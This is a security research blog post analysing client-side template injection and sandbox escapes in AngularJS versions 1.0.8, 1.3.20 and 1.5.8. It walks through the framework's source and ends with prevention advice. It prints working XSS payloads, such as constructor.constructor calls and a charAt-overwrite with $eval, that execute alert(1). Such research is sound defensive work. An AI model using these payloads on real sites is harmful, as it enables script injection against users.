026 368 06249
[email protected]
Unk9vvN
  • Solutions
    • Offensive Simulation
    • Defensive Operation
    • Bug Hunter
  • Services
    • Penetration Testing and Security Assessments
    • Red Teaming and Social Engineering
    • Industrial Control Systems Security
    • Digital Forensics and Incident Response
    • Blue Teaming and Cyber Defense
    • Security Audit and Vulnerability Scans
  • Courses
    • Penetration Testing
      • Web
      • Mobile
      • Cloud
      • Network
      • Wireless
      • IoT
    • Red Team
    • ICS Security
    • Digital Forensic
    • Blue Team
    • Security Audit
  • Resources
    • Our Blog
    • Webinars
    • Certificate Verification
  • About Us
  • Contact Us
  • My Account
  • English
    • Persian
Product has been added to your cart.

Client Side Template Injection into AngularJS

Posted on 2 May 2021
No Comments

There is a Client-Side JavaScript framework called AngularJS that is used to develop one-page web applications. The ability to change in-page values live and execute JavaScript code increases the likelihood of Client-Side vulnerabilities such as XSS and Client-Side Template Injection in this framework. To understand these vulnerabilities in different versions of AngularJS, it is best to first get a little familiar with this framework.

Table of Contents Hidden
1 Introducing AngularJS
2 AngularJS Scope
3 AngularJS Sandbox
4 Distinguish between these vulnerabilities
5 Test environment
5.1 How to Test Client Side Template Injection
6 AngularJS 1.0.8 Sandbox Escape
6.1 AngularJS Compiler
6.2 Dynamic analysis
7 AngularJS 1.3.20 Sandbox Escape
8 AngularJS 1.5.8 Sandbox Escape
9 Prevent these vulnerabilities
10 XSS protection tips in AngularJS
11 References

Introducing AngularJS

The general procedure of this framework is as follows:

AngularJS Scope
AngularJS Scope
You can see in the figure that a Scope is implicitly defined when using the AngularJS template.

Inside the html page, wherever the ng-app attribute is given to a tag, all the content of that tag is analyzed by AngularJS and changes are made if necessary. Inside the tag with the ng-app attribute, you can use the symbols related to the AngularJS template ({{}}). AngularJS treats anything inside {{}} as executable code or variable name. Functions and commands in JavaScript are applicable with restrictions, and variables and functions defined in Scope can be called. Example from W3Schools:

<!DOCTYPE html>
<html lang="en-US">
<body>
<div ng-app="">

Name : <input type="text" ng-model="name">
<h1>Hello {{name}}</h1>
</div>
</body>
</html>

AngularJS Scope

After seeing the tag with the ng-app attribute, this framework implicitly defines a Scope for it. Any variables, models, functions or … that are defined in this ng-app are thrown in the same Scope. as a result; First, a separate namespace is defined for each app, and second, access to outside of this namespace is restricted.

AngularJS Sandbox

Earlier versions of AngularJS 1.6 had a sandbox that restricted programmer access to the JavaScript environment. Since none of the patches in previous versions prevented Sandbox from being circumvented, AngularJS developer policy changed and removed this Sandbox. Currently the only use of Scope is to create separate namespaces, and access to higher levels is not recognized as a security hole by the framework. So it’s the programmer who has to pay attention to this and not let CSTI happen.

In this article, we examine the vulnerabilities discovered in the Sandbox AngularJS framework that existed in previous versions. Although the Sandbox no longer exists, analyzing these vulnerabilities and the security mechanisms in place to prevent them provides valuable knowledge and experience in detecting vulnerabilities in other frameworks and sites.

JavaScript, because of its prototype-based architecture, inherently allows access to other objects in the language, known as Prototype Pollution. In the Sandbox designed in AngularJS, the developers tried to somehow disable this feature of the JavaScript language so that their intended functionality in the framework would not be affected. But despite the implementation of complex mechanisms, they failed to do so. Ultimately, the prevention of these vulnerabilities was left to programmers using AngularJS. At the end, tips for preventing this vulnerability that should be considered by AngularJS programmers are described.

In the following, we will examine the vulnerabilities of CSTI, Sandbox Escape and XSS on different versions of AngularJS.

Distinguish between these vulnerabilities

Before we begin examining the vulnerabilities themselves, it is best to explain the distinction between Sandbox Escape, CSTI and XSS. Of course, these points have no effect on the text itself and have been proposed only to improve the specialized literature of the text.

In AngularJS, if the user input is used directly (without any sanitizing or filtering) in the ng-app tag content, the page has CSTI vulnerabilities. This vulnerability has no value in itself. It will be valuable if the vulnerability can be implemented to execute user-side JavaScript code and consequently XSS. As a result, the AngularJS framework introduced a mechanism called Sandbox to prevent code execution, which would prevent the code from running if CSTI occurred. But each time, web security researchers managed to escape the Sandbox, resulting in XSS. In order to escape from the sandbox, the concepts of Prototype-Based Programming have been used, which in some cases, due to the weakness in the implementation of the sandbox, the Prototype Pollution technique leads to escape.

Test environment

To examine the following vulnerabilities, a test environment has been designed that you can download from this link. This environment includes a PHP back-end that takes user input and inserts it into the page without sufficient filtering and sanitizing. Ironically, the place that is affected by the input is inside the tag with the ng-app attribute. As a result, this laboratory is vulnerable to CSTI.

As a result of this vulnerability, cybersecurity researchers have been able to find a way to execute JavaScript code, which we will examine in different versions of AngularJS. It should be noted that to examine the process of executing JavaScript code, the uncompressed AngularJS code has been downloaded from here, and in key points of the code, the debugger command has been used to create a breakpoint.

How to Test Client Side Template Injection

In all the explanations below, we perform this test in the first step; Because without this vulnerability, the rest of the steps are impossible. To test this vulnerability, you can use the template code of the framework (here AngularJS). For example, we enter {{1 + 1}} here. If the output is 2, it means that this page is vulnerable to CSTI.

CSTI Vulnerability Test Method
Client Side Template Injection Vulnerability Test
You can see the result of a sample CSTI vulnerability test performed on the test environment of this article in the image.

AngularJS 1.0.8 Sandbox Escape

First we identify the starting point of the code. Searching for the ng-app string (which I described) we get to the starting point. This string is only in the angularInit function. Finding the calls of this function, we make sure that the starting point is this function; Because there is only one call at the end of the code. So we put the first debugger at the beginning of this function and start examining the code step by step. Below you can see the beginning and end of the definition of this function:

function angularInit(element, bootstrap) {
  debugger;
  var elements = [element],
      appElement,
      module,
      names = ['ng:app', 'ng-app', 'x-ng-app', 'data-ng-app'],
      NG_APP_CLASS_REGEXP = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;
  // ...
  // some code
  // ...
  if (appElement) {
    bootstrap(appElement, module ? [module] : []);
  }
}

Function call location:

jqLite(document).ready(function() {
  angularInit(document, bootstrap);
});

Nothing significant happens until the bootstrap function is called. So the next function that needs to be considered is this function. To check the code execution process, enter the entry {{1 + 1}} in the search form and click the Search button. Using the browser debugger, we follow the code execution process. In the bootstrap function, there is a call to the doBootstrap function. This function inside bootstrap is defined as follows: (I have added some debugger commands to check the execution of the program.)

var doBootstrap = function() {
  debugger;
  element = jqLite(element);
  modules = modules || [];
  modules.unshift(['$provide', function($provide) {
    $provide.value('$rootElement', element);
  }]);
  modules.unshift('ng');
  var injector = createInjector(modules);
  injector.invoke(['$rootScope', '$rootElement', '$compile', '$injector',
      function(scope, element, compile, injector) {
      debugger;
      scope.$apply(function() {
        element.data('$injector', injector);
        compile(element)(scope);
      });
    }]
  );
  return injector;
};

With the debugger, we go to the compile function call line. In the Debugger Console, we check the compile function code (with compile.toString()). Here is where this function is called:

scope.$apply(function() {
  element.data('$injector', injector);
  compile(element)(scope);
});

This function starts like this:

function compile($compileNodes, transcludeFn, maxPriority) {
  debugger;
  if (!($compileNodes instanceof jqLite)) {
    // jquery always rewraps, whereas we need to preserve the original selector so that we can modify it.
    $compileNodes = jqLite($compileNodes);
  }

By searching this code in the whole file, we reach the desired function. This function is defined as “compile” in the file. From here, understanding exactly how the AngularJS compiler works requires detailed and lengthy analysis, which is beyond the scope of this article. The following is a summary of its performance review (more on AngularJS compiler here).

AngularJS Compiler

The compile function is the starting point for examining attributes that start with -ng and the code inside {{}} , which examines all HTML nodes and looks for AngularJS code. If it finds the AngularJS code, it sends it to the parser function for analysis. In the first steps of this function, another function called lex is called. The output of this function is an array of tokens obtained by the Lexical Analysis. This function parses the code components and Tokenize the code according to the rules of the JavaScript language. This is lex function codes, without the internal functions defined in it (see the full code from the lab environment file):

function lex(text, csp){
  debugger;
  var tokens = [],
      token,
      index = 0,
      json = [],
      ch,
      lastCh = ':'; // can start regexp

 while (index < text.length) {
    ch = text.charAt(index);
    if (is('"\'')) {
      readString(ch);
    } else if (isNumber(ch) || is('.') && isNumber(peek())) {
      readNumber();
    } else if (isIdent(ch)) {
      readIdent();
      // identifiers can only be if the preceding char was a { or ,
      if (was('{,') && json[0]=='{' &&
         (token=tokens[tokens.length-1])) {
        token.json = token.text.indexOf('.') == -1;
      }
    } else if (is('(){}[].,;:')) {
      tokens.push({
        index:index,
        text:ch,
        json:(was(':[,') && is('{[')) || is('}]:,')
      });
      if (is('{[')) json.unshift(ch);
      if (is('}]')) json.shift();
      index++;
    } else if (isWhitespace(ch)) {
      index++;
      continue;
    } else {
      var ch2 = ch + peek(),
          fn = OPERATORS[ch],
          fn2 = OPERATORS[ch2];
      if (fn2) {
        tokens.push({index:index, text:ch2, fn:fn2});
        index += 2;
      } else if (fn) {
        tokens.push({index:index, text:ch, fn:fn, json: was('[,:') && is('+-')});
        index += 1;
      } else {
        throwError(&quot;Unexpected next character &quot;, index, index+1);
      }
    }
    lastCh = ch;
  }
  debugger;
  return tokens;

For example, in the following code, which is part of lex, if the condition of the isNumber function is met (ie, the code snippet is a number), the readNumber function is called, which adds the number token to the list of tokens (the content of the readNumber function You can check for yourself):

else if (isNumber(ch) || is('.') && isNumber(peek())) {
      readNumber();

At the end of the readNumber function, a token is added to the token list as follows:

tokens.push({index:start, text:number, json:true,
      fn:function() {return number;}});

Each token added has the following structure:

{
	index: index,
	text: ch,
	fn: fn
}
  • index: Specifies the starting point of the token string in the main string.
  • ch: Saves the token string.
  • fn: The getter function, which is responsible for capturing the corresponding value of code, number, string, etc. in AngularJS code.

The part that appeals to us is fn. To better understand this function, let’s first look at an example of a case where the token is a number (isNumber returns true). Note the end of the readNumber function:

tokens.push({index:start, text:number, json:true,
  fn:function() {return number;}});

In this example, the fn function returns only the number, which is essentially the parseInt value of that number. But for variables, functions, and other JavaScript objects that have non-fixed values, the situation is different, and the fn code is not that simple.

The lex function uses the isIdnet function to identify variables, functions, and other JavaScript objects, and with readIdent, generates related tokens that contain the relatively complex fn function to get their value. So we have to look at the readIdent function. The following code from this function initialize fn:

 

<pre>var getter = getterFn(ident, csp);
token.fn = extend(function(self, locals) {
  return (getter(self, locals));
}, {
  assign: function(self, value) {
    return setter(self, ident, value);
  }
});

We see that another function called getterFn builds the getter value from the ident string, which can be the name of any variable, function, or JavaScript object. With the help of debugger we can conclude that getter is what is finally called in fn.

Content of the getter function
Content of the getter function
By reaching the breakpoint at the end of the getterFn function and continuing to run the program step by step, I reached the point you see in the image. Here you can see that the final function stored in the token uses the same getter that was created above by getterFn.

Although the static analysis of the getterFn function is not without merit, we will suffice with its dynamic analysis. Then we enter some values in the search form and see the result of this function. To do this, just put a breakpoint after the getterFn call line, and after entering the input and hitting the breakpoint, check the value getter.toString() to see the code generated for the getter function.

Getter function text
Getter function text
By putting a breakpoint in the code and reaching the production part of the Token executable function, we can see the final generated code.

Dynamic analysis

This time we enter the value {{objectA.propertyA}} and the following code is generated: (We know that s is the scope and k is the locals)

var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("objectA"))?k:s)["objectA"];
if (s && s.then) {
 if (!("$$v" in s)) {
 p=s;
 p.$$v = undefined;
 p.then(function(v) {p.$$v=v;});
}
 s=s.$$v
}
if(s === null || s === undefined) return s;
l=s;
s=s["propertyA"];
if (s && s.then) {
 if (!("$$v" in s)) {
 p=s;
 p.$$v = undefined;
 p.then(function(v) {p.$$v=v;});
}
 s=s.$$v
}
return s;

It is clear that for each dot (.), A dereference operation is performed and it is used each time to obtain the property of the previous object. The first object from which the property is extracted is k && k.hasOwnProperty("objectA")? k: s. Given that k is the locals variable, and s is the scope, it can be seen that this piece of code first tries to find the object in the locals variables and if it does not find it, it goes to the scope. To examine this issue in more detail and the process of executing the code generated by getterFn, it is better to use the debugger command inside the generated code so that whenever AngularJS wants to execute it, we can follow the available values ​​such as s, k, etc. The first part of the code generated by the getterFn function is written as follows, which we add debugger; code before var.

var code = 'debugger;var l, fn, p;\n';
forEach(pathKeys, function(key, index) {
  code += 'if(s === null || s === undefined) return s;\n' +
          'l=s;\n' +
          's='+ (index
                  // we simply dereference 's' on any .dot notation
                  ? 's'
                  // but if we are first then we check locals first, and if so read it first
                  : '((k&&k.hasOwnProperty("' key '"))?k:s)') '["' key '"]' ';\n' 
          'if (s && s.then) {\n' +
            ' if (!("$$v" in s)) {\n' 
              ' p=s;\n' +
              ' p.$$v = undefined;\n' +
              ' p.then(function(v) {p.$$v=v;});\n' +
              '}\n' +
            ' s=s.$$v\n' +
          '}\n';
});
code += 'return s;';

After reloading the page, we reach the breakpoint. You can see the values of s and k in the image below. As you can see, k is equal to undefined. The program then takes the objectA object from s.

Debug the getter function
Debug the getter function
In the image you can see that by placing the debugger command inside the code created by getterFn, we can easily follow the values of the variables at runtime.

Now suppose we get a specific property __proto__ or constructor, which has a specific meaning in JavaScript, instead of trying to get an ordinary object in the scope or locals of the program. (For more information on this topic, you can read about Javascript Prototype Pollution.)

Specific constructor and prototype values
Specific constructor and prototype values
By reaching the debugger command inside the file generated by getterFn, we can see the value of the variables.

By continuing the access process to the constructor, we can reach the Function method in JavaScript. This method allows us to execute JavaScript code directly. So because there is no filter on the names of variables, functions and other JavaScript objects that are to be read from the scope of the program; We can get to the Function method in the structure of Prototype-Based objects in JavaScript. The Function method is responsible for defining functions in the JavaScript language, which allows us to define a new function. To define a function using the Function method, the JavaScript code must be passed to its argument as a string. The resulting input that executes the JavaScript code is {{constructor.constructor ("alert (1)")()}} , which can enter any other JavaScript code that is required instead of alert and the continuation of the story … 😈

Sandbox escape result in AngularJS 1.0.8
Sandbox escape result in AngularJS 1.0.8

AngularJS 1.3.20 Sandbox Escape

Examining the important functions we found in the previous section, we find that the code structure is largely the same as before. So we go straight to the part of generating code, the getterFn function. Similar to the previous time, we use the debugger command at the beginning of the generated code.

var code = 'debugger;';
if (expensiveChecks) {
  code += 's = eso(s, fe);\nl = eso(l, fe);\n';
}
var needsEnsureSafeObject = expensiveChecks;
forEach(pathKeys, function(key, index) {
  ensureSafeMemberName(key, fullExp);
  var lookupJs = (index
                  // we simply dereference 's' on any .dot notation
                  ? 's'
                  // but if we are first then we check locals first, and if so read it first
                  : '((l&&l.hasOwnProperty("' + key + '"))?l:s)') + '.' + key;
  if (expensiveChecks || isPossiblyDangerousMemberName(key)) {
    lookupJs = 'eso(' + lookupJs + ', fe)';
    needsEnsureSafeObject = true;
  }
  code += 'if(s == null) return undefined;\n' +
          's=' + lookupJs + ';\n';
});
code += 'return s;';

Now that we can examine the code generated by the AngularJS compiler, we examine the results of the various inputs. By entering {{unk9vvn}} the following result is obtained:

if(s == null) return undefined;
s=((l&&l.hasOwnProperty("unk9vvn"))?l:s).unk9vvn;
return s;

Similar to the previous time, s is the same as scope and l is the same as locals. So far there seems to be no change other than changing the name of the variable l! 🤔 This time we try the {{constructor}} input:

if(s == null) return undefined;
s=eso(((l&&l.hasOwnProperty("constructor"))?l:s).constructor, fe);
return s;

Significant changes seem to have happened! The eso function and the variable fe are new things to consider. We check the values with the debugger console. fe is nothing but a "constructor" string, which is our input here. But eso is a function defined in the framework code called ensureSafeObject. Looking at this function, we find that the main part that is supposed to prevent access to dangerous objects such as constructor and window, is this function.

function ensureSafeObject(obj, fullExpression) {
  // nifty check if obj is Function that is fast and works across iframes and other contexts
  if (obj) {
    if (obj.constructor === obj) {
      throw $parseMinErr('isecfn',
          'Referencing Function in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// isWindow(obj)
        obj.window === obj) {
      throw $parseMinErr('isecwindow',
          'Referencing the Window in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// isElement(obj)
        obj.children && (obj.nodeName ||  (obj.prop && obj.attr && obj.find))) {
      throw $parseMinErr('isecdom',
          'Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// block Object so that we can't get hold of dangerous Object.* methods
        obj === Object) {
      throw $parseMinErr('isecobj',
          'Referencing Object in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    }
  }
  return obj;
}

When I followed this function using the debugger and the previous input, I realized that the {{constructor}} input is not recognized as a dangerous input. So it’s a good idea to look at the effective input in the previous version, {{constructor.constructor("alert(12)")()}}. The last input causes the condition obj.constructor === obj to be true. This means that access to the constructor is not completely closed and only the Function object can not be accessed (in the last input, using the constructor again, we reach the Function object, which we have been denied in this version).

We know that the constructor of a Function object in JavaScript is the Function itself.

Prototype JavaScript functions
Prototype JavaScript functions

So we can use the constructor to access other objects like Array and String. For example, by entering a {{'a'.constructor}} We get to the JavaScript String, which helps us to modify the prototype property and change the structure of the String as we want. But how does this help us?

Earlier we talked about a part called lexer that in the first step of compiling the code, with the help of Lexical Analysis method, can analyze different parts of the code as tokens. In this version of AngularJS, the lexer function has changed slightly due to a change in the code structure. But the whole thing is what it was. This function is now defined as lex in an object called Lexer, part of the code of which can be found here:

while (this.index &lt; this.text.length) {
  var ch = this.text.charAt(this.index);
  if (ch === '"' || ch === "'") {
    this.readString(ch);
  } else if (this.isNumber(ch) || ch === '.' &amp;&amp; this.isNumber(this.peek())) {
    this.readNumber();
  } else if (this.isIdent(ch)) {
    this.readIdent();
  }

Such conditions are consistently defined in this function, which is responsible for identifying different code tokens. But as you can see, the input string is checked character by character with the help of the charAt function. charAt is a function defined in the prototype of a String object. As we explained, we have access to this section; That means we can manipulate the charAt function. And this helps us to confuse the lex function. This causes the code tokens not to be correctly identified and the part of the code that contains dangerous characters such as . , () , Etc. to be used directly in the final generated code, which means the direct execution of JavaScript commands. this is our ultimate goal.

So we change charAt to concat. Just enter the value {{'a'.constructor.prototype.charAt =' b'.concat}} as input, and after the page is fully loaded in the JavaScript console, use the charAt function of a string instance. For example:

CharAt function after infection
CharAt function after infection
As you can see in the image, after executing our Payload, the charAt function, which in JavaScript returns a character at a specific point in the string, has found the function of the concat function.

You can see that we were able to infect the desired function. But to exploit this infection, we have to call the AngularJS compiler once again and run our malicious input. We can use the $eval function to do this. This function for AngularJS is like eval for JavaScript and executes AngularJS related code that prompts its compiler. As a result, we enter our final input, which is {{'a'.constructor.prototype.charAt =' b'.concat; $eval('x = alert (1)');}}. Just see the result of this input. Our code is executed and an alert is displayed.

Sandbox escape result in AngularJS 1.3.20
Sandbox escape result in AngularJS 1.3.20

But why does x=alert(1) execute? To answer this question, we reactivate the breakpoints we entered in the getterFn function so that we can see the generated code. This function is used twice. The result for the first time is not so important to us. But the result of the second time is what explains why the previous code was executed:

if(s == null) return undefined;
s=((l&&l.hasOwnProperty("x=alert(1)"))?l:s).x=alert(1);
return s;

You can see that the entire input of the $eval function is recognized as an attribute of the scope, and the program puts the whole string x=alert(1) after the dot (.). This means that our input is executed without any filter by the JavaScript engine.

Note: We entered the x= part only to preserve the correct syntax of the JavaScript language.

AngularJS 1.5.8 Sandbox Escape

Based on the experience we have gained from the previous two versions, we know that the code created by the compiler will eventually be converted to executable code by the JavaScript Function object. So by searching for a new Function, we can easily get to the part of the framework code where the result of the AngularJS compiler is located.

var fn = (new Function('$filter',
        'ensureSafeMemberName',
        'ensureSafeObject',
        'ensureSafeFunction',
        'getStringValue',
        'ensureSafeAssignContext',
        'ifDefined',
        'plus',
        'text',
        fnString))(
          this.$filter,
          ensureSafeMemberName,
          ensureSafeObject,
          ensureSafeFunction,
          getStringValue,
          ensureSafeAssignContext,
          ifDefined,
          plusFn,
          expression);
    debugger;

The part we are looking for is used in the ASTCompiler object prototype, inside a function called compile:

ASTCompiler.prototype = {
  compile: function(expression, expensiveChecks) {

Inside this function, after defining fn, we put a debugger command and examine the code created by the new compiler, with different inputs. First we start with input {{unk9vvn}} and the following result is obtained (the following code is the sorted code of the original code):

function(s, l, a, i) {
    var v5, v6 = l && ('constructor' in l);
    if(!(v6)) {
        if(s) {
            v5 = s.unk9vvn;
        }
    } else {
        v5 = l.unk9vvn;
    }
    return v5;
}

No security mechanism appears to be enabled. This time we use the relatively dangerous input {{constructor}} :

function(s, l, a, i) {
    var v5, v6 = l && ('constructor' in l);
    if(!(v6)) {
        if(s) {
            v5 = s.constructor;
        }
    } else {
        v5 = l.constructor;
    }
    ensureSafeObject(v5, text);
    return v5;
}

So far there is no difference, except for the apparent difference, with the previous part. Exactly like the previous version, first it tries to call the desired value from the scope. If does not exist, locals is used and since the constructor name is dangerous, the ensureSafeObject function is used. Since the ensureSafeObject function has not changed, we may be able to use the previous method. To do this, we first use the first part of the payload, ie {{'a'.constructor.prototype =' b'.concat}} . As a result, the following code is generated:

'use strict';
var fn = function (s, l, a, i) {
  var v0,
  v1,
  v2,
  v3,
  v4;
  v3 = 'a';
  if (v3 != null) {
    ensureSafeAssignContext(v3, text);
    if (!(v3.constructor)) {
      v3.constructor = {
      };
    }
    v1 = ensureSafeObject(v3.constructor, text);
  } else {
    v1 = undefined;
  }
  if (v1 != null) {
    v2 = v1.prototype;
  } else {
    v2 = undefined;
  }
  if (v1 != null) {
    v4 = 'b';
    if (v4 != null) {
      v0 = v4.concat;
    } else {
      v0 = undefined;
    }
    ensureSafeObject(v1.prototype, text);
    ensureSafeAssignContext(v1, text);
  }
  return v1.prototype = v0;
};
return fn;

You can see that unlike the previous version, the equalization operation is done in the same code; while in the previous version getter and setter were different and their implementation structure was different. The special difference of this version is in the ensureSafeAssignContext function. That is, to perform equalization, conditions are applied in run-time mode. The code for this function is defined as follows:

function ensureSafeAssignContext(obj, fullExpression) {
  if (obj) {
    if (obj === (0).constructor || obj === (false).constructor || obj === ''.constructor ||
        obj === {}.constructor || obj === [].constructor || obj === Function.constructor) {
      throw $parseMinErr('isecaf',
        'Assigning to a constructor is disallowed! Expression: {0}', fullExpression);
    }
  }
}

You can see that if the object used is equal to the constructor of any of the Boolean, Integer, String, Object, Array, Function values, this function displays an error message and prevents the program from continuing to run. So, the last input we entered falls into the trap of this function.

Dangerous parity detection error
Dangerous parity detection error
In the picture, you can see that this time AngularJS was able to detect this dangerous act of ours with more intelligence.

The first thing that comes to mind is whether there is such a problem without putting 'a'.constructor.prototype equal to another value (logically there should be no problem). After testing this, this point will be finalized for us.

Now, due to the feature of this version that allows us to set a new variable, we can store the above value in a variable called x and try to infect the prototype functions. But are there still similar conditions where we can confuse the lexer by infecting charAt? Examining the code, we see that the code of the lex function has not changed. To test the success or failure of this, we enter the input {{x = 'a'.constructor.prototype; x.charAt =' b'.concat}} and after the page is fully loaded, we call charAt function of a string. The result is as the same as last time, which shows that we have achieved our goal.

Now it is enough to use the $eval function. The lex function, this time too, considers our input as an Identity and causes all our input to appear as a piece of JavaScript code in the final compiler code. We can check this by entering a test value: {{x = 'a'.constructor.prototype; x.charAt =' b'.concat; $eval('x=alert(1)');}}

After entering the above value, the AngularJS compiler is called twice. The first time it generates code that is not so important to us. But the second time it is called by the $eval function it generates the following code. As you can see, the $eval argument appears entirely inside the final code:

'use strict';
var fn = function (s, l, a, i) {
  var v5,
  v6 = l && ('x=alert(1)' in l);
  if (!(v6)) {
    if (s) {
      v5 = s.x = alert(1);
    }
  } else {
    v5 = l.x = alert(1);
  }
  return v5;
};
fn.assign = function (s, v, l) {
  var v0,
  v1,
  v2,
  v3,
  v4 = l && ('x=alert(1)' in l);
  v3 = v4 ? l : s;
  if (!(v4)) {
    if (s) {
      v2 = s.x = alert(1);
    }
  } else {
    v2 = l.x = alert(1);
  }
  if (v3 != null) {
    v1 = v;
    ensureSafeObject(v3.x = alert(1), text);
    ensureSafeAssignContext(v3, text);
    v0 = v3.x = alert(1) = v1;
  }
  return v0;
};
return fn;

And that means we were able to escape AngularJS Sandbox again and get to Javascript Execution.

Sandbox escape result in AngularJS 1.5.8
Sandbox escape result in AngularJS 1.5.8

Prevent these vulnerabilities

As we said, from version 1.6 onwards, the AngularJS sandbox was completely removed. The reason for this is its ineffectiveness. This means that from version 1.6 onwards, if there is a CSTI vulnerability, Javascript Execution can be done with the following Payload from the user:

constructor.constructor("alert(1)")()

So a developer, from the beginning, has to code in such a way that there is no CSTI at all. The AngularJS site itself explains:

It’s best to design your application in such a way that users cannot change client-side templates.

And in the continuation of the sentence, mentions the following:

XSS protection tips in AngularJS

  • Do not combine client-side templates with server-side templates!
  • Do not use user input to create a template as a variable!
  • Do not use userContent in the following dangerous cases:
    • $watch(userContent, ...)
    • $watchGroup(userContent, ...)
    • $watchCollection(userContent, ...)
    • $eval(userContent)
    • $evalAsync(userContent)
    • $apply(userContent)
    • $applyAsync(userContent)
    • $compile(userContent)
    • $parse(userContent)
    • $interpolate(userContent)
    • {{ value | orderBy : userContent }}
  • Use CSP. (Of course, this mechanism is not enough and you should not be satisfied with it)

There are a number of other things that have been said on the AngularJS site that I have not mentioned here due to differences in subject matter. If you are interested in reading more about AngularJS security tips, please refer to this link.

References

This is the result of a study by the Unk9vvN research team on existing cyber security research. This article uses the findings of researchers such as Ian Hickey, Gareth Heyes and Mario Heiderich. Certainly, the purpose of this article was not just to translate the existing content. So all the concepts, which are gathered from several articles, have been rewritten to be better understood. May this type of material be a suitable source for Persian speaking people studies in this field.

Post Views: 2,658
Previous Post
Writeup ImageTok Challenge in HackTheBox

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Fill out this field
Fill out this field
Please enter a valid email address.
You need to agree with the terms to proceed

Author

Eiliya Keshtkar
Chief Technology Officer

Recent Posts

  • Client Side Template Injection into AngularJS 2 May 2021
  • Writeup ImageTok Challenge in HackTheBox 24 March 2021

Categories

  • Blog – Capture The Flag (1)
  • Blog – Digital Forensic (0)
  • Blog – Vulnerabilities (1)

Recent Posts

Writeup ImageTok Challenge in HackTheBox
24 March 2021

Contacts

[email protected]
026 368 06249
Alborz Province, Karaj, Ferdis, First Square, Negin Tower
Twitter
GitHub
Telegram
YouTube
LinkedIn
Instagram

All rights of this site belong to Oxin Imen Nikrad Company.

  • Terms of Use
  • Privacy Policy